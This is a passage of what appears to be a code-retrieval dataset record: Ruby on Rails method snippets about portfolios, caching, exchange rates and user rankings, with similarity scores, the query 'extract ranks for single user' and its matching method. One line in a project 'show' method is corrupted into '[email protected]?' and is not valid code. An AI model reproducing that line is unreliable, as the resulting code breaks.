time: self.updated_at\n }\n\n Rails.cache.write(\"recent/first\", json)\n end\n else\n false\n end\n end\n end",
"def show\n if params[:portfolio_selection].present?\n session[:portfolio__id] = params[:real_estate_id] || params[:pid] || params[:portfolio_id]\n session[:property__id] = \"\"\n elsif params[:property_selection].present?\n session[:portfolio__id] = \"\"\n session[:property__id] = params[:id] || params[:nid] || params[:property_id]\n else\n\n\t\t if( (session[:portfolio__id].present? && session[:property__id].blank?) )\n\t\t session[:portfolio__id] = session[:portfolio__id]\n session[:property__id] = \"\"\n\t\t else\n\t\t \tsession[:portfolio__id] = \"\"\n session[:property__id] = session[:property__id]\n\t end\n end\n@status=params[:status] ? params[:status] : 3\n if !Portfolio.exists?(params[:real_estate_id])\n @portfolios = Portfolio.find_shared_and_owned_portfolios(User.current.id)\n @portfolio = @portfolios.first\n else\n @portfolio = Portfolio.find_by_id(params[:real_estate_id])\n end\n @notes = RealEstateProperty.find_owned_and_shared_properties(@portfolio,User.current.id,true)\n if session[:property__id].present? && session[:portfolio__id].blank?\n @note = RealEstateProperty.find_real_estate_property(session[:property__id])\n @resource = \"'RealEstateProperty'\"\n elsif session[:portfolio__id].present? && session[:property__id].blank?\n @note = Portfolio.find_by_id(session[:portfolio__id])\n @resource = \"'Portfolio'\"\n end\n @partial_file = \"/properties/sample_pie\"\n @swf_file = \"Pie2D.swf\"\n @xml_partial_file = \"/properties/sample_pie\"\n #~ show_err_msg_if_no_access\n if @note\n find_timeline_values\n params[:tl_year] = (params[:tl_period] ==\"10\" || params[:tl_period] == \"3\") ? params[:tl_year] : @today_year\n @operating_statement={}\n @cash_flow_statement={}\n financial_month\n @time_line_actual = IncomeAndCashFlowDetail.find(:all,:conditions => [\"resource_id =? and resource_type=? \",@note.id, 'RealEstateProperty'])\n else\n flash[:notice]=FLASH_MESSAGES['portfolios']['508']\n redirect_to portfolios_path\n end\n end",
"def index\n @issues = Issue.order(code: :asc)\n @today_budget = 0\n if(user_signed_in?)\n @yearly_deposit_with_start = current_user.user_setting.yearly_deposit\n if current_user.user_setting.start_date.year == Date.today.year\n @yearly_deposit_with_start *= (1 - current_user.user_setting.start_date.yday / Date.today.end_of_year.yday.to_f )\n end\n @chart = current_user.user_issues\n .order(bought_day: :asc)\n .inject(Hash.new(0)) {|a, e| a[e[:bought_day].to_date] += e[:price] * e[:num]; a}\n @chart += current_user.user_investments\n .order(bought_day: :asc)\n .inject(Hash.new(0)) {|a, e| a[e[:bought_day].to_date] += e[:price]; a}\n @user_stacked = @chart.reduce(0){|a, e| a += e[1]}\n # @user_should_stacked = current_user.user_setting.yearly_deposit * (Date.today.yday / Date.today.end_of_year.yday.to_f) - (current_user.user_setting.yearly_deposit - @yearly_deposit_with_start)\n @user_should_stacked = current_user.user_setting.yearly_deposit * (Date.today - current_user.user_setting.start_date.to_date) / Date.today.end_of_year.yday.to_f\n\n @today_budget = @user_should_stacked - @user_stacked\n\n @user_stocks = current_user.user_issues.group(:issue_code).sum(:num)\n end\n end",
"def show\n @portfolio_item = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = current_user.portfolios.find(params[:id])\n end",
"def show\n @portfolio = Portfolio.new\n end",
"def set_portfolio_counter\n @portfolio_counter = PortfolioCounter.find(params[:id])\n end",
"def set_portfolio_item\n @portfolio_item = Portfolio.find(params[:id])\n end",
"def portfolio()\n # uniq_funding = self.funding_rounds().uniq\n # uniq_funding.map {|funding| funding.startup}\n startups = self.funding_rounds().map { |funding| funding.startup}\n startups.uniq \n end",
"def create\n post_variables = params[:data]\n @symbols = post_variables[:asset]\n @amount_in_cents = post_variables[:amount]\n @desired_return = post_variables[:return_level] / 100\n @epsilon = 0.0000001\n \n\t# @symbols = ['STKS','GOLD','TBLL'] #= post_variables[:assets]\n # @amount_in_cents = 100000 #= post_variables[:amount_in_cents]\n # @desired_return = 0.146 #post_variables[:desired_return]\n # @epsilon = 0.0000001\n\t\n @optimal_portfolio = MinimalRiskPortfolio.new( :return_level => @desired_return )\n @optimal_portfolio.build_portfolio_by_symbols( @symbols )\n\n respond_to do |format|\n format.html { render :xml => @optimal_portfolio.to_xml( :include => :portfolio_assets, :dasherize => false ) }\n format.json { render :json => @optimal_portfolio.to_json( :include => :portfolio_assets ) }\n format.xml { render :xml => @optimal_portfolio.to_xml( :include => :portfolio_assets, :dasherize => false ) }\n end\n end",
"def index\n @portfolios = Portfolio.order(:portfolio_category_id)\n @portfolio_categories = PortfolioCategory.order(:id)\n end",
"def calculate_reactive_cache(query_class_name, *args)\n return unless active? && project && !project.pending_delete?\n\n environment_id = args.first\n client = client(environment_id)\n\n data = Kernel.const_get(query_class_name).new(client).query(*args)\n {\n success: true,\n data: data,\n last_update: Time.now.utc\n }\n rescue Gitlab::PrometheusError => err\n { success: false, result: err.message }\n end",
"def index\n @shareportfolios = Shareportfolio.all\n end",
"def cacheable_data\n @cacheable_data ||= {}\n .merge(@page.liquid_data)\n .merge(LiquidHelper.globals(page: @page))\n .merge(images: images)\n .merge(named_images: named_images)\n .merge(primary_image: image_urls(@page.image_to_display))\n .merge(shares: Shares.get_all(@page))\n .merge(follow_up_url: follow_up_url)\n end",
"def rate(rated_currency, base_currency, trans, pay_currency, search_id = nil)\n\n# Rails.cache.fetch(\"#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency}\", expires_in: 0.5.hour) do\n\n# puts \"Not cached yet: inside rate(#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency})\" unless Rails.env.production?\n\n result = {\n rated_currency: rated_currency,\n base_currency: base_currency,\n buy: nil,\n sell: nil,\n cc_fee: self.cc_fee,\n delivery_charge: self.delivery_charge,\n transaction: trans,\n pay_currency: pay_currency,\n error: nil,\n rates_update: nil,\n source: nil,\n exchange_id: self.id,\n bank_fee: nil,\n offer_update: Time.now\n }\n\n rated_rates = find_rate(rated_currency, trans, search_id)\n if rated_rates[:error]\n result[:error] = rated_rates[:error]\n# Rails.cache.write(\"#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency}\", result, expires_in: 0.5.hour)\n return result\n end\n\n base_rates = find_rate(base_currency, trans, search_id)\n if base_rates[:error]\n result[:error] = base_rates[:error]\n# Rails.cache.write(\"#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency}\", result, expires_in: 0.5.hour)\n return result\n end\n\n\n result[:buy] = !base_rates[:buy] || base_rates[:buy] == 0 || !rated_rates[:buy] ? 0 : (rated_rates[:buy] / base_rates[:buy])\n result[:sell] = !base_rates[:sell] || base_rates[:sell] == 0 || !rated_rates[:sell] ? 0 : (rated_rates[:sell] / base_rates[:sell])\n if trans == 'mixed'\n if rated_currency == pay_currency\n result[:mixed] = rated_rates[:buy] / base_rates[:sell]\n else\n result[:mixed] = rated_rates[:sell] / base_rates[:buy]\n end\n else\n result[:mixed] = nil\n end\n result[:rates_update] = [base_rates[:rate_update], rated_rates[:rate_update]].min\n result[:source] = rated_rates[:source] || base_rates[:source]\n result[:bank_fee] = self.bank? ? (self.bank_fee || 0) : nil\n\n result\n\n# end\n\n end",
"def portfolio\n\t\t@products = Post.where(\"category_id = 4\")\n\tend",
"def index\n @port_items = Portfolio.by_position\n @page_title = \"Portfolio Projects\"\n end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def show\n @project = Project.find(params[:id])\n @title = @project.projectname + \" | MOH Haiti\"\n @meta = @project.projectname + \" is a Mission of Hope, Haiti project currently underway in Haiti.\"\n @population = @project.communities.sum('population')#Community.joins(:projects).where(\"project_id=\" + @category.id.to_s)\n @assets = @project.assets.all\n @user = current_user\n @category = @project.categories.first\n @updates = @project.updates.last(3).reverse #Update.last(3).reverse\n @posts = @project.posts.order(:postdate).reverse_order.last(3)\n if current_user\n @subscribed = Subscription.where(:sub_id => @project.id, :user_id => current_user.id, :datatype => 'project')\n end\n @fundpercent = 0\n if [email protected]? && @project.fundsneeded > 0\n @fundpercent = (@project.fundsraised/@project.fundsneeded) * 100.00\n end\n @fundPercentImage = 'percent0.png'\n if @fundpercent >= 10 && @fundpercent < 20\n @fundPercentImage = 'percent10.png'\n elsif @fundpercent >= 20 && @fundpercent < 30\n @fundPercentImage = 'percent20.png'\n elsif @fundpercent >= 30 && @fundpercent < 40\n @fundPercentImage = 'percent30.png'\n elsif @fundpercent >= 40 && @fundpercent < 50\n @fundPercentImage = 'percent40.png'\n elsif @fundpercent >= 50 && @fundpercent < 60\n @fundPercentImage = 'percent50.png'\n elsif @fundpercent >= 60 && @fundpercent < 70\n @fundPercentImage = 'percent60.png'\n elsif @fundpercent >= 70 && @fundpercent < 80\n @fundPercentImage = 'percent70.png'\n elsif @fundpercent >= 80 && @fundpercent < 90\n @fundPercentImage = 'percent80.png'\n elsif @fundpercent >= 90 && @fundpercent < 97\n @fundPercentImage = 'percent90.png'\n elsif @fundpercent >= 97\n @fundPercentImage = 'percent100.png'\n end\n\n respond_to do |format|\n format.html {render :layout=>\"applicationWithAdGallery\"}# show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @product_caches = ProductCache.all\n end",
"def update\n if @portfolio.update(portfolio_params)\n render json: @portfolio\n else\n render json: @portfolio.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def index\n @plannings = Planning.all\n @account_data = AccountDatum.all\n fix_expense_value = @plannings.inject(0){ |sum,p| (p.category == 'Gastos fixos') ? sum + p.value : sum}\n fix_expense_count = @account_data.inject(0){ |sum,p| (p.category == 'Gastos fixos') ? sum + p.amount : sum}\n p(fix_expense_value)\n p(fix_expense_count)\n\n @fix_expense = (fix_expense_count/fix_expense_value)*100\n\n var_expense_value = @plannings.inject(0){ |sum,p| (p.category == 'Gastos variáveis') ? sum + p.value : sum}\n var_expense_count = @account_data.inject(0){ |sum,p| (p.category == 'Gastos variáveis') ? sum + p.amount : sum }\n @var_expense = (var_expense_count/var_expense_value)*100\n end",
"def repo_list\n stocks = Price.where(:sec_type => 'Stock')\n @stocks = stocks.collect { |stock| [stock, stock.last_update] }\n @options = Price.where('sec_type != ?','Stock')\n @history = History.all\n end",
"def perform\n #@@logger.info(\"Performing job for #{self.search_term}\")\n prices = self.class.prices(self.search_term,self.search_type)\n Rails.cache.write(self.cache_key, prices)\n prices\n end",
"def formatted_cache_data\n {\n id: id,\n name: name,\n symbol: symbol,\n decimal: decimal,\n contract_address: contract_address,\n constants: constants,\n status: status\n }\n end",
"def index\n @portfoliologs = Portfoliolog.all.page(params[:page])\n end",
"def create\n @purchase = Purchase.new(purchase_params)\n @portfolio = current_user.portfolio\n\n @purchase.user_id = current_user.id\n @purchase.exch_rate = $oer.exchange_rate(:from => @purchase.from_currency, :to => @purchase.to_currency)\n\n if @purchase.amount_spent.nil? or @purchase.amount_spent <= 0\n flash.now[:alert] = 'Must supply purchase amount greater than 0'\n render :new\n return\n else\n @purchase.amount_bought = @purchase.exch_rate * @purchase.amount_spent\n end\n\n # Calculate portfolio entries\n from_curr_value = @portfolio.read_attribute(@purchase.from_currency)\n new_from_value = from_curr_value - @purchase.amount_spent\n\n to_curr_value = @portfolio.read_attribute(@purchase.to_currency)\n new_to_value = to_curr_value + @purchase.amount_bought\n\n # Update portfolio\n @portfolio.write_attribute(@purchase.from_currency, new_from_value)\n @portfolio.write_attribute(@purchase.to_currency, new_to_value)\n\n respond_to do |format|\n if @portfolio.save and @purchase.save\n if current_user.purchases.count % purchases_before_snapshot == 0\n snapshot_data = @portfolio.attributes\n snapshot_data.delete(\"id\")\n snapshot_data.delete(\"created_at\")\n snapshot_data.delete(\"updated_at\")\n snapshot_data.delete(\"user_id\")\n\n current_user.snapshots.create(snapshot_data)\n end\n\n flash[:notice] = 'Purchase was successfully created.'\n format.html { redirect_to purchases_path }\n format.json { render :index, status: :created, location: @purchase }\n else\n # Saving the portfolio or purchase failed\n if @purchase.errors.any?\n # There were errors in the purchase, alert client\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n else\n # There were errors in the portfolio, alert client\n flash.now[:alert] = 'Insufficient Funds'\n format.html { render :new }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def invoices(reload = false)\n self.cache(CostAgent::Invoice, :all, reload) do\n (self.api(\"invoices\")/\"invoice\").collect do |invoice|\n items = (invoice/\"invoice-item\").collect do |item|\n price = (item/\"price\").first.inner_text.to_f\n quantity = (item/\"quantity\").first.inner_text.to_f\n cost = price * quantity\n project = self.project((item/\"project-id\").first.inner_text.to_i)\n InvoiceItem.new(\n :id => (item/\"id\").first.inner_text.to_i,\n :invoice_id => (item/\"invoice-id\").first.inner_text.to_i,\n :project_id => project.nil? ? nil : project.id,\n :project => project,\n :item_type => (item/\"item-type\").first.inner_text,\n :description => (item/\"description\").first.inner_text,\n :price => price,\n :quantity => quantity,\n :cost => cost)\n end\n project = self.project((invoice/\"project-id\").first.inner_text.to_i)\n Invoice.new(\n :id => (invoice/\"id\").first.inner_text.to_i,\n :project_id => project.nil? ? nil : project.id,\n :project => project,\n :description => (invoice/\"description\").first.inner_text,\n :reference => (invoice/\"reference\").text,\n :amount => (invoice/\"net-value\").text.to_f,\n :status => (invoice/\"status\").text,\n :date => DateTime.parse((invoice/\"dated-on\").text),\n :due => DateTime.parse((invoice/\"due-on\").text),\n :items => items)\n end\n end\n end",
"def portfolio_line_chart interval=\"5minute\", opts={span: \"day\"}\n get_portfolio_history get_accounts.first[\"account_number\"], interval, opts\n columns = [ {role: :none, data: ['number', 'X']} ] # add x axis\n\n # each stock has a value and a tooltip\n columns = columns + \n [\n {role: :none, data: ['number', \"Portfolio\"]},\n {role: :tooltip, data: {type: :string, role: :tooltip}}\n ]\n\n rows = []\n @portfolio_history[\"equity_historicals\"].each_with_index do |h,i|\n rows[i] ||= [i+1]\n price = (opts[:span] == \"day\" ? h[\"adjusted_open_equity\"] : h[\"adjusted_close_equity\"]).to_f\n date = h[\"begins_at\"].in_time_zone('EST').strftime '%m/%d/%y %l:%M%P'\n rows[i] = rows[i] + [price, \"$#{price} on #{date}\"]\n end\n \n previous_close_price = @portfolio_history[\"adjusted_previous_close_equity\"].to_f\n previous_close_price = @portfolio_history[\"equity_historicals\"].first[\"adjusted_open_equity\"].to_f if previous_close_price == 0.0\n most_recent_price = @portfolio_history[\"equity_historicals\"].last[\"adjusted_open_equity\"].to_f\n color = most_recent_price > previous_close_price ? ROBINHOOD_GREEN : ROBINHOOD_ORANGE\n options = {\n #title: \"Price chart\",\n hAxis: {\n #title: 'Date',\n ticks: 'none', #rows.map{ |r| r.first },\n gridlines: {color: \"transparent\"}\n },\n vAxis: {\n #title: 'Price',\n gridlines: {color: \"transparent\"}\n },\n focusTarget: :category, # show all tooltips for column on hover,\n #curveType: :function, # curve lines, comment out to disable\n legend: :none,\n chartArea: { width: '90%', height: '75%' },\n series: {\"0\": {color: color}},\n backgroundColor: \"#090d16\"\n }\n \n {columns: columns, rows: rows, options: options}\n end",
"def cache\n DataCache\n end",
"def finance\n authorize_user!\n \n @wallet_data = {}\n @wallets = [ENV['SHOPPING_CART_WALLET']] # BitcoinPayments.get_n_shopping_cart_wallets\n @wallets.each do |wallet|\n i = @wallet_data[wallet.to_sym] = {}\n i['bitcoins_in_wallet'] = 4500000 # 'lookup online, get satoshi' \n i['bitcoins_registered_in_database'] = BitcoinPayment.where(destination_address: wallet).map(&:value).sum # confirmations not right TODu\n i['bitcoins_withdrawn'] = 0 # BitcoinWithdrawls.sum\n i['missing_coins'] = i['bitcoins_in_wallet'] + i['bitcoins_withdrawn'] - i['bitcoins_registered_in_database'] # if not zero, hacking took place\n end\n \n @aggregate_shopping_cart_balance = @wallet_data.map { |wallet, values| values['bitcoins_in_wallet'] }.sum\n @aggregate_recorded_bitcoin_payments = @wallet_data.map { |wallet, values| values['bitcoins_registered_in_database'] }.sum\n @shipping_costs_by_month = [1,2,1,12,123,12,1] # getShippingCostsByMonthForYear(2014)\n @sales_by_month = [1,2,1,12,123,12,1] # get_sales_by_month_for_year(2014)\n @donations_by_month = [1,2,1,12,123,12,1]\n @number_of_sales = Sale.count\n end"
] |
[
"0.6931591",
"0.6853272",
"0.68249077",
"0.64563465",
"0.6410445",
"0.6373871",
"0.6264558",
"0.6109764",
"0.60947347",
"0.6090966",
"0.6085267",
"0.6055245",
"0.60304475",
"0.5999199",
"0.5997542",
"0.5997542",
"0.59785163",
"0.59528863",
"0.5938047",
"0.59323186",
"0.5929528",
"0.5918073",
"0.59165305",
"0.5876666",
"0.5862901",
"0.58572847",
"0.58368677",
"0.58311653",
"0.58161896",
"0.58123934",
"0.580155",
"0.57992",
"0.57637656",
"0.5758558",
"0.5757121",
"0.5757121",
"0.5757121",
"0.5757121",
"0.5757121",
"0.5733791",
"0.5726246",
"0.57163876",
"0.5710474",
"0.56960845",
"0.5693314",
"0.5688867",
"0.56815535",
"0.56747866",
"0.56709903",
"0.5670145",
"0.56686324",
"0.56675303",
"0.5631319",
"0.5622599",
"0.5603089",
"0.56008065",
"0.5582311",
"0.5581977",
"0.55791825",
"0.5565406",
"0.5562603",
"0.5556464",
"0.5539356",
"0.5514176",
"0.5506306",
"0.55034846",
"0.5493053",
"0.5483095",
"0.54798335",
"0.5464294",
"0.546077",
"0.5446322",
"0.5435325",
"0.5426549",
"0.5425285",
"0.542478",
"0.54117936",
"0.54117274",
"0.54104406",
"0.5406963",
"0.5406741",
"0.5406741",
"0.5406741",
"0.5406741",
"0.5406741",
"0.5406741",
"0.5406741",
"0.54065675",
"0.5389603",
"0.53883106",
"0.53838164",
"0.53778386",
"0.5371045",
"0.53649485",
"0.53620535",
"0.5354873",
"0.53498995",
"0.5348149",
"0.53342384",
"0.53308135"
] |
0.74004644
|
0
|
extract ranks for single user
|
def ranks
r = {}
data_hash = User.all_ranks
return data_hash[self.id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_rank!\n r = 1\n users.order('rating DESC').each do |u|\n user_universities.find_by_user_id(u.id).update_attribute(:rank, r)\n r += 1\n end\n end",
"def users_ranking\n User.find_by_sql(\"SELECT U.id, U.name, COUNT(R.id) ediciones\n FROM users U, reviews R, species S, groups G, group_users GU, species_groups SG, models m\n WHERE U.id = R.user_id AND U.id = GU.user_id AND GU.group_id = G.id\n AND SG.group_id = G.id AND S.id=SG.species_id AND m.id =R.model_id\n AND m.species_id = S.id AND SG.species_group_state_id=1 AND GU.group_user_state_id=1\n AND G.id = \"+self.id.to_s+\"\n GROUP BY U.name\n ORDER BY COUNT(R.id) DESC\n LIMIT 10\")\n end",
"def ranks\n @ranks ||= RANK_RANGE.map(&:to_i)\n end",
"def get_ranks stream\n begin\n user_ids, niceranks = [], {}\n stream.posts.each do |post|\n id = post.user.id\n user_ids << id if @store[id].nil?\n end\n user_ids.uniq!\n got = CNX.get \"#{@url}#{user_ids.join(',')}\" unless user_ids.empty?\n if got.nil? || got == \"\"\n parsed = {'meta' => {'code' => 404}, 'data' => []}\n else\n\n begin\n parsed = JSON.parse(got)\n rescue\n parsed = {'meta' => {'code' => 404}, 'data' => []}\n end\n\n unless parsed['data'].is_a?(Array)\n parsed = {'meta' => {'code' => 404}, 'data' => []}\n end\n\n end\n parsed['data'].each do |obj|\n res = @store[obj['user_id']]\n if res.nil?\n obj['is_human'] ? is_human = 1 : is_human = 0\n content = {\n rank: obj['rank'],\n is_human: is_human\n }\n @store[obj['user_id']] = content\n niceranks[obj['user_id']] = content\n else\n @hits += 1\n niceranks[obj['user_id']] = res\n end\n end\n\n\n @posts += stream.posts.size\n @ids += user_ids.size\n\n if Settings.options.timeline.debug\n deb = \"\\n\"\n deb << \"+ NICERANK\\n\"\n deb << \"* t#{Time.now.to_i}\\n\"\n deb << \"Posts:\\t\\t#{stream.posts.size}\\n\"\n deb << \"Requested NR:\\t#{user_ids.size}\\n\"\n deb << \"* TOTALS\\n\"\n deb << \"Posts:\\t\\t#{@posts}\\n\"\n deb << \"Fetched ranks:\\t#{@ids}\\n\"\n deb << \"DB hits:\\t#{@hits}\\n\"\n deb << \"Uniques:\\t#{@store.count}\\n\"\n deb << \"\\n\"\n puts deb.color(Settings.options.colors.debug)\n Logs.rec.debug \"NICERANK/POSTS: #{@posts}\"\n Logs.rec.debug \"NICERANK/NR CALLS: #{@ids}\"\n Logs.rec.debug \"NICERANK/CACHE HITS: #{@hits}\"\n Logs.rec.debug \"NICERANK/CACHED IDS: #{@store.count}\"\n end\n return niceranks\n rescue => e\n Errors.global_error({error: e, caller: caller, data: [user_ids, niceranks, parsed]})\n end\n end",
"def get_user_rank(user_id)\n return $db.execute(\"SELECT rank FROM users WHERE id = ?\", user_id)[0][\"rank\"]\nend",
"def rank\n @data['rank']\n end",
"def index\n users = User.all.select(:id, :username, :guild_id).with_otp\n @result = users.map{|user| user.as_json.merge({\n guild_name: user.guild ? user.guild.name : \"Not in a guild\",\n score: Match.where(challenged: false, winner: user.id).size,\n my_user: (user == current_user),\n route: '#users/' + user.id.to_s\n })}\n @result.sort_by! { |res| -res[:score] }\n @result = @result.map { |i| i.merge({ rank: @result.find_index{ |user| user[\"id\"] == i[\"id\"] }.to_i + 1 }) }\n render json: @result.as_json, status: :ok\n end",
"def get_access_rank\n guest_user_rank = 4\n user = get_user()\n if user != nil\n current_user = User.find_by user_id: \"#{user}\"\n user_rank = current_user.access_rank\n\n #Handler if user access rank missing\n if user_rank === nil\n flash[:notice] = \"Problem getting user access level.\n Please contact site administrator.\"\n user_rank = guest_user_rank\n end\n\n user_rank\n\n else\n user_rank = guest_user_rank\n end\n end",
"def top_3_rank_contributors\n top_3 = User.top_contributors_by_rank.select { |user| user.rank <= 3 }\n\n top_3.map do |user|\n {\n user_id: user.id,\n first_name: user.first_name,\n last_name: user.last_name,\n photo_url: user.photo_url,\n badges_sum: user.badges_sum,\n badges_count: user.badges_count,\n rank: user.rank,\n badges: {\n gold: user.gold.to_i,\n silver: user.silver.to_i,\n bronze: user.bronze.to_i\n }\n }\n end\n end",
"def ranks\n Outpost::Config.instance.ranks\n end",
"def tokenizer_ranking_row_rank_score\n TokenExtractor.new(\n :rank_score,\n /\n (?<=\\s)\n (?<decimal_score>\n (?<thousand>\\d{1,3}\\.)*\\d{1,3}\n (?<decimals>[\\,|\\.]\\d\\d)\n (?<endline>\\s+|\\r\\n|\\n|$|\\Z)\n (?!\\D+)\n )|\n (?<score_comma>\n \\s+\\d+[\\,|\\.]\\d\\d\n (?!\\s\\s\\d\\d\\s\\s)\n )|\n (?<score_stats>\n \\s+\\d+[\\,|\\.]\\d\\d\n (?=\\s\\s\\d\\d\\s\\s)\n )|\n (?<=\\s\\s\\s\\s)(?<integer_score>\n \\s+\\d+(?=\\r|\\n|$|\\Z)\n )\n /iux,\n /\n (\n (?<=\\d\\n)|\n (?<=\\d[\\,|\\.]\\d\\d)\n )\n (\\s+|\\r\\n|\\r|\\n|$|\\Z)\n /iux\n )\n end",
"def top_ten_users\n # Get top 3 dank ranks total scores\n top_danks = DankRank.order('total_score DESC').limit(6)\n # For each top dank_rank, retrieve [lvl, points, id]\n top_users = top_danks.map { |dank| [User.find(dank.user_id).dank_rank.total_score, User.find(dank.user_id).dank_rank.rank_up_xp_progress, User.find(dank.user_id).id] }\n # Sort that array by level and then points\n top_users.sort!{|a, b| b <=> a}\n # Return the users\n return top_users.map { |array| User.find(array[2]) }\n end",
"def index\n @rankings = Prediction.select(\"user_id, name, sum(score) as score\")\n .joins(:user) \n .group(\"user_id, name\")\n .order(\"score DESC, name ASC\")\n .paginate(page: params[:page])\n end",
"def rank\n return @rank\n end",
"def rank; end",
"def rank; end",
"def rank\n BetaUser.where(selected: false).order(score: :desc).index(self)\n end",
"def rank\n\t\tRANKINGS.each do |ranking|\n\t\t\treturn ranking if self.send(\"#{ranking}?\".to_sym)\n\t\tend\n\tend",
"def get_reindeer_ranking\n return @reindeer_ranking\n end",
"def rank\n case @owner\n # Prefer volumes from Princeton most strongly\n when 'njp'\n @rank = 4\n # Recap partners are next in order of preference\n when 'nyp', 'nnc1', 'nnc2.ark'\n @rank = 3\n # Followed by Borrow Direct partners\n when 'yale', 'hvd', 'coo', 'chi'\n @rank = 2\n # These are mentioned by Meagan\n when 'mdp', 'miun', 'uc1', 'uc2', 'loc.ark', 'uva', 'umn', 'dul1.ark', 'ien', 'inu', 'nc01.ark', 'pst', 'pur1', 'ucm', 'uiug', 'wu'\n @rank = 1\n # Anything else is unknown; rank lowest.\n else\n @rank = 0\n end\n @rank # return the rank\n end",
"def rank\n send_to_rankers(rankables.prune!)\n end",
"def rank(rank_name)\n ranks_dataset.first(Name: rank_name.capitalize)\n end",
"def ratings_ranking(*args)\n @client.get \"#{@path}/ratings/ranking\", Hash[*args]\n end",
"def show_rankings()\n players = Player.all\n rankings = Array.new\n players.each do |r|\n player << r.id\n played = Result.where(:player_id => player).count\n ranking = Ranking.where(:player_id => player).last.id\n rankings << [player, played, ranking]\n end\n return rankings\n end",
"def index\n \n\t@rankings = User.all(:order => 'entire_stars_count DESC', :conditions => {:fam_id => @user.fam_id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rankings }\n end\n end",
"def get_ranks\n ranks = {}\n ('2'..'10').each { |num_str| ranks[num_str] = num_str }\n ranks.merge!({ \"J\" => \"Jack\", \"Q\" => \"Queen\", \"K\" => \"King\", \"A\" => \"Ace\" })\nend",
"def rank_by_size\n ranked_users = []\n for size in users_by_size.keys.sort.reverse\n ranked_users.push(users_by_size[size])\n end\n\n return ranked_users\nend",
"def rank\n\t\t\t(const_defined?('Rank')) ? const_get('Rank') : NormalRanking\n\t\tend",
"def rank_name\n self.class.get_rank_name rank if respond_to? :rank\n end",
"def get_interest_rank\n \n rank = (self.stories.count * 2) + (self.adding_users.count * 5)\n\n end",
"def update_ranks!\r\n conditions = \"account_status != 'active' OR hide_from_leaderboard = 1\"\r\n ineligible = ::User.first(:conditions => conditions)\r\n\r\n users_sql = <<SQL.chomp unless ineligible.nil?\r\nWHERE user_id NOT IN (SELECT id FROM `users` \\\r\nWHERE (`users`.account_status != 'active' AND `users`.proxy_user = 0) \\\r\nOR `users`.hide_from_leaderboard = 1)\r\nSQL\r\n\r\n connection.execute <<SQL.chomp\r\nSET @period = 'foobar', @rank = 0, @inc = 0, @points = 0\r\nSQL\r\n connection.execute <<SQL.chomp.gsub(/\\s+/, \" \") # Reformat.\r\nUPDATE `reputable_stats` outer_reputable_stats JOIN (\r\n SELECT IF (@period = period,\r\n IF (@points = points,\r\n @rank := @rank + least(0, @inc := @inc + 1),\r\n @rank := @rank + greatest(@inc, @inc := 1) +\r\n least(0, ABS(@points := points))),\r\n @rank := 1 + least(0, @period := period) +\r\n least(0, ABS(@points := points)) + least(0, @inc := 1))\r\n ranking, period, points, `reputable_stats`.id, (@rank + @inc - 1)\r\n AS inner_row FROM reputable_stats #{users_sql}\r\n ORDER BY section, period, points DESC\r\n) AS inner_reputable_stats\r\n ON outer_reputable_stats.id = inner_reputable_stats.id\r\nSET outer_reputable_stats.rank = ranking,\r\n outer_reputable_stats.row = inner_reputable_stats.inner_row,\r\n outer_reputable_stats.updated_on = CURDATE()\r\nSQL\r\n\r\n # NULLify rank and row for ineligible users.\r\n connection.execute <<SQL.chomp\r\nUPDATE `reputable_stats` \\\r\nJOIN `users` ON `reputable_stats`.user_id = `users`.id \\\r\nSET rank = NULL, row = NULL, updated_on = CURDATE() \\\r\nWHERE (`users`.account_status != 'active' \\\r\nOR `users`.proxy_user = 1 \\\r\nOR `users`.hide_from_leaderboard = 1)\r\nSQL\r\n end",
"def rank\n\t\trr = self.clone\n\t\trr.row_reduce_below\n\t\trr.rank_rr\n\tend",
"def rank() User.withVerifiedWeighins.paid.sort_by {|u| u.percentWeightChange }.index(self)+1 end",
"def rank\n @rank > 10 ? 10 : @rank\n end",
"def tokenizer_ranking_row_rank_position\n TokenExtractor.new(\n :rank_position,\n 0,\n #/(.)(?=[a-z°)])/i\n /\\s*(\\w|\\?){3}-(\\d|\\?){6}/i\n )\n end",
"def size_to_rank(size)\n rank = 1\n map = {}\n for mapped_size in users_by_size.keys.sort.reverse\n return rank if size == mapped_size\n rank += 1\n end\nend",
"def ranks(already_sorted=false)\n a = already_sorted ? self : sort\n map { |i| (a.index(i) + a.rindex(i)) / 2.0 }\n end",
"def rank\n fetch('games.league_of_legends.rank')\n end",
"def normalizeRankings\n setRankings = []\n ranking.each do |allRanking|\n if(allRanking.rank != nil)\n setRankings.push(allRanking)\n end\n end\n \n #setRankings = ranking.where.not(:rank => nil)\n setRankings.order(:rank, :desc)\n setRankings.each_with_index do |iterationRanking, index|\n iterationRanking.rank = index + 1\n end\n end",
"def ranking\n [what_rank, tie_breaker]\n end",
"def ranked\n Account.find(self.ranked_id)\n end",
"def [](rank)\n if @ranking[rank] == UNRANKED_ID\n unranked_candidates\n else\n @ranking[rank]\n end\n end",
"def update_user_ranking\n return if last_rank? || self.changes[:score].nil? || self.changes[:rank].present?\n old_score, new_score = self.changes[:score]\n User::LEVELS.each do |threshold|\n if old_score < threshold && new_score >= threshold\n self.update(rank: self[:rank] + 1, levelled_up: true)\n end\n end\n end",
